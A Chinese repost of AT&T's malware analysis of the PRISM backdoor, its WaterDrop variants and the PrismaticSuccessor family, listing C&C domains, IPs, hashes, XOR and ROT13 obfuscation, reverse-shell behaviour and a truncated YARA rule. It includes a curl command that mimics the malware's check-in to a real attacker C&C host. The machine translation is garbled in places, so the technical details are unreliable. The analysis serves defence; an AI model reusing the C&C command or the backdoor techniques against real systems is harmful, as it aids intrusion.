公众号:渗透大师A
重点分享渗透经验、干货方法...
AT&T 的安全研究人员最近发现了一组极其隐秘的 ELF 可执行文件,在 VirusTotal 上检测率很低或为零。
在剖析这些样本后,AT&T 已将其识别为多个攻击者在多个活动中使用的开源 PRISM 侧门的修改版本。
深入研究使用该恶意软件的攻击活动,该恶意软件已活跃了两年半。
该攻击的最早样本出现于 2017 年 11 月 8 日。
水滴的解剖
WaterDrop 的易于识别的变体包含一个名为 xencrypt 的函数,该函数使用硬编码的单字节 0x1F 密钥执行 XOR 加密。
从WaterDrop变种版本7开始,恶意样本还包含纯文本字符串WaterDropxvXstarted源码编译后门,其中X是恶意样本的版本号。
到目前为止,我们发现版本 1、2.2 和 3 使用 PRISM 名称,而版本 7、9 和 12 则命名为 WaterDropx。
WaterDrop使用agent-waterdropx作为HTTP合约的C&C通信的User-Agent,C&C使用waterdropx.com域名的子域名。
虽然这些都是特别值得注意的特征,但攻击者在 VirusTotal 上始终保持极低的检测率,这可能是由于攻击规模较小。
攻击者于2017年8月18日注册了waterdropx.com域名,截至2021年8月10日,该域名仍在使用中。
除了PRISM的基本功能外,WaterDrop还引入了XOR加密和C&C服务器常规寻址功能。
恶意软件与C&C服务器之间的通信是纯文本HTTP合约,所有版本的恶意软件都使用agent-waterdropx作为User-Agent。
某些变体在以 root 权限执行时会加载内核模块。
版本演变
棱镜v1
该样本的第一个版本是由使用waterdropx.com作为C&C域名的攻击者使用的,他们的User-Agent是相同的。
与公开的 PRISM 相比,此版本创建子进程,不断验证 C&C 服务器执行的命令。
curl -A 'agent-waterdropx' 'http://r.waterdropx.com:13858/tellmev2.x?v=1&act=touch'
该样本的第一个版本没有对恶意样本进行任何混淆、加壳或加密。
棱镜v2.2
PRISM 2.2版本开始使用XOR加密来处理敏感数据,例如使用的shell命令。
单字节密钥被硬编码为0x1F,用于检测来自同一攻击者的所有样本。
对于此版本的恶意软件,初始 C&CURI 请求格式为:
/tellmev2.x?v=2.2&act=touch
棱镜v3
PRISM 版本3 与版本2.2 基本相同,只是BOTID 保存到/etc/.xid。
初始请求格式为:
/tellmev2.x?v=3&act=touch&xid=
棱镜v7
Waterdropv7引入了内核模块的使用源码编译后门,如果进程有root权限,使用insmod安装。 安全分析师尚未确定此有效负载的用途。
其余代码与 PRISMv3 相同,仅修改了硬编码版本号。 其初始请求格式为:
/tellmev2.x?v=7&act=touch&xid=
棱镜v9
Waterdropv9延续了之前版本的风格,改动很小。
此版本中唯一的变化是使用 BOTID 作为 ICMP 密码来创建反向 shell,而不是使用硬编码的 ICMP 密码。
初始请求格式为:
/tellmev2.x?v=9&act=touch&xid=
棱镜v12
Waterdrop v12 与其前身几乎相同,但提高了侧门的稳定性。
其初始请求格式为:
/tellmev2.x?v=12&act=touch&xid=
恶意软件家族 PrismaticSuccessor
域名 z0gg.me 解析为由其他 12 个域名共享的 IP 地址。
一些重叠域是 PRISM 的已知 C&C 域,但 z0gg.me 还与其他几个恶意样本相关联。
特别是,观察与存储库相关。
在此存储库中,可以观察到以下文件:
包含 IP 地址 (README.md) 和端口横幅(README1.md 和 MP.md)的三个文档
针对 Dirty Cow (CVE-2016-5195) 漏洞的 Bash 脚本名为
111
几个 ELF 二进制补码文件,包括:
1. git:自定义恶意软件植入工具
2.ass:一个名为hidemyass的开源安全工具,为x64架构编译
3.ass32:为x86架构编译的名为hidemyass的开源安全工具
由于攻击者使用公共 GIT 存储库来托管其恶意软件和基础设施信息,因此可以查看历史数据以观察其演变。
例如,我们可以使用以下命令来收集攻击者用作 C&C 服务器的所有 IP 地址:
$ git log -p README.md |grep "^+"|grep -v "+++
+45.199.88[.]86
+154.48.227[.]27
+207.148.118[.]141
+154.48.227[.]27
+165.22.136[.]80
+154.48.227[.]27
+156.236.110[.]79
+43.230.11[.]125
+172.247.127[.]136
+127.0.0[.1]
+192.168.3[.]173
+192.168.3[.]173:80
+192.168.3[.]173
+118.107.180[.]8
+s.rammus[.]me
+s.rammus[.]me:80
+192.168.3[.]150:80
+192.168.3[.]150^80
+192.168.3[.]150^
+^192.168.3[.]150
+^192.168.3[.]133
$ shasum -a 256 *
933b4c6c48f82bbb62c9b1a430c7e758b88c03800c866b36c2da2a5f72c93657 MP.out
f19043c7b06db60c8dd9ff55636f9d43b8b0145dffe4c6d33c14362619d10188 git
eeabee866fd295652dd3ddbc7552a14953d91b455ebfed02d1ccdee6c855718d git (1)
3a4998bb2ea9f4cd2810643cb2c1dae290e4fe78e1d58582b6f49b232a58575a git (2)
3366676681a31feadecfe7d0f5db61c4d6085f5081b2d464b6fe9b63750d4cd8 git (3)
cc3752cc2cdd595bfed492a2f108932c5ac28110f5f0d30de8681bd10316b824 git (4)
baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531 git (5)
eb64ee2b6fc52c2c2211018875e30ae8e413e559bcced146af9aa84620e3312f git443
d1d65b9d3711871d8f7ad1541cfbb7fa35ecc1df330699b75dd3c1403c754278 git53
77ddc6be62724ca57ff45003c5d855df5ff2b234190290545b064ee4e1145f63 gitest
1de9232f0bec9bd3932ae3a7a834c741c4c378a2350b4bbb491a102362235017 hostname
7ed15e59a094ca0f9ccac4c02865172ad67dcfc5335066f67fe3f11f68dd7473 ps
1eb6973f70075ede421bed604d7642fc844c5a47c53d0fb7a9ddb21b0bb2519a wm
6f983303bb82d8cc9e1ebf8c6c1eb7c17877debc66cd1ac7c9f78b24148a4e46 wm (1)
e4fe57d9d2c78a097f38cba7a9aad7ca53da24ecbcad0c1e00f21d34d8a82de4 wm32
b08d48cc12c6afa5821a069bd6895175d5db4b5a9dde4e04d587c3dec68b1920 wmgithub
按大小分组,可以发现约15K个样本是PRISM侧门,约1.1MB样本是其他恶意软件。
攻击者于 2019 年 7 月 16 日交付了自定义植入程序,该恶意软件使用了 UPX 规避的修改版本。
该恶意软件明显更大,因为两者的补码文件被静态编译到 libcurl 中,AT&T 已将该恶意软件家族命名为 PrismaticSuccessor。
分析发现该配置由两个URL组成:
HostUrl用于获取C&C主机
PortUrl用于获取端口banner
执行后,它将尝试将 /var/lock/sshd.lock 作为互斥锁锁定。
接下来,恶意软件解密包含进程名称的字符串,该字符串用于覆盖 argv。
请注意,aMcwfkvf 变量包含 [mcwfkvf] 值,该值在 src 中被解析为 [kauditd]。
秘密使用ROT13,秘密密钥为-2。 此 ROT13 仅处理大小写字母,不处理符号和数字。
接下来,恶意软件通过子进程执行多任务。
子进程打开与硬编码 C&C 服务器的反向 shell 会话,配置中最多包含三个 C&C 地址(z0gg.me、x63.in 和 x47.in),并使用 ROT13 加密。
服务器还需要回复密码才能成功构建反向 shell。
恶意软件计算回复缓冲区的 MD5 哈希值,并将其与硬编码值 efef44aa858585ee88fcbafcbafcba55bb11dcdc95adaa256256cc55bb482482 进行比较。
无论是否成功联系主 C&C 服务器,都会发生通信。
子进程通过GitHub获取C&C主机和端口,并打开反向shell。
生成 shell 的函数与 PRISM 源代码非常相似,但并不完全相同。
子进程跳转到 Shellcode XOR 以揭示秘密,即硬编码的 8 字节秘密密钥:
建立的命令如下所示:
在 StackOverflow 上也可以发现有用户抱怨被攻击,这与此相符。
其他变体
我们还观察到其他攻击者利用PRISM侧门进行攻击。
然而,在大多数情况下,攻击者会按原样使用原始的 PRISM 侧门,而不进行任何重大更改。
在某种程度上,这也阻碍了我们正确跟踪攻击者的行为。
推理
PRISM是一个开源、简单的侧门。其流量清晰可辨,恶意文件易于测量
其C&C服务器已经上线两年半了。 这表明,虽然受到更多关注的小型操作通常会在数小时内得到测量,但较小的操作可能会被遗漏。
测量方法
rulePrismatic后继者:Linux恶意软件
元:
作者=“外星人实验室”
描述=“PrismaticSuccessormalwarebackdoor”
参考=“aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5”